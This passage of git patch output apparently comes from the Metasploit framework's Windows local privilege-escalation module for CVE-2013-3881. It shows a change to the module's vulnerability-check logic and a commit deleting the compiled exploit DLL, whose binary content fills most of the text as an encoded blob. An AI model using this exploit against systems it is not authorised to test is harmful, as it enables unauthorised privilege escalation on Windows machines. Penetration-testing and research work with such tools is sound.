<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> - <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> - </Filter> - <Filter Include="Resource Files"> - <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> - <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> - </Filter> - </ItemGroup> - <ItemGroup> - <ClCompile Include="cve-2013-3881.c"> - <Filter>Source Files</Filter> - </ClCompile> - </ItemGroup> -</Project> \ No newline at end of file diff --git a/modules/exploits/windows/local/win32k_null_page.rb b/modules/exploits/windows/local/win32k_null_page.rb index 6391c0759b..7987745f81 100644 --- a/modules/exploits/windows/local/win32k_null_page.rb +++ b/modules/exploits/windows/local/win32k_null_page.rb @@ -75,11 +75,7 @@ class Metasploit3 < Msf::Exploit::Local when 7600 return Exploit::CheckCode::Vulnerable when 7601 - if branch == 18 - return Exploit::CheckCode::Vulnerable if revision <= 18126 - else - return Exploit::CheckCode::Vulnerable if revision < 22348 - end + return Exploit::CheckCode::Vulnerable if revision <= 18126 when 9200 return Exploit::CheckCode::Safe end From 01f41a209cfcd4cf954199e7262b1668e1f250cd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 7 Feb 2014 10:05:05 -0500 Subject: [PATCH 202/246] Remove the DLL and add make.msbuild for easier compiling. --- .../cve-2013-3881/cve-2013-3881.x86.dll | Bin 45568 -> 0 bytes .../source/exploits/cve-2013-3881/make.msbuild | 17 +++++++++++++++++ external/source/exploits/make.bat | 7 +++++++ 3 files changed, 24 insertions(+) delete mode 100755 data/exploits/cve-2013-3881/cve-2013-3881.x86.dll create mode 100644 external/source/exploits/cve-2013-3881/make.msbuild diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll deleted file mode 100755 index aad23bbd8a9e6434b8ce769b05bfc2b66439a279..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 45568 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�kFsnp-*|14}UC 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 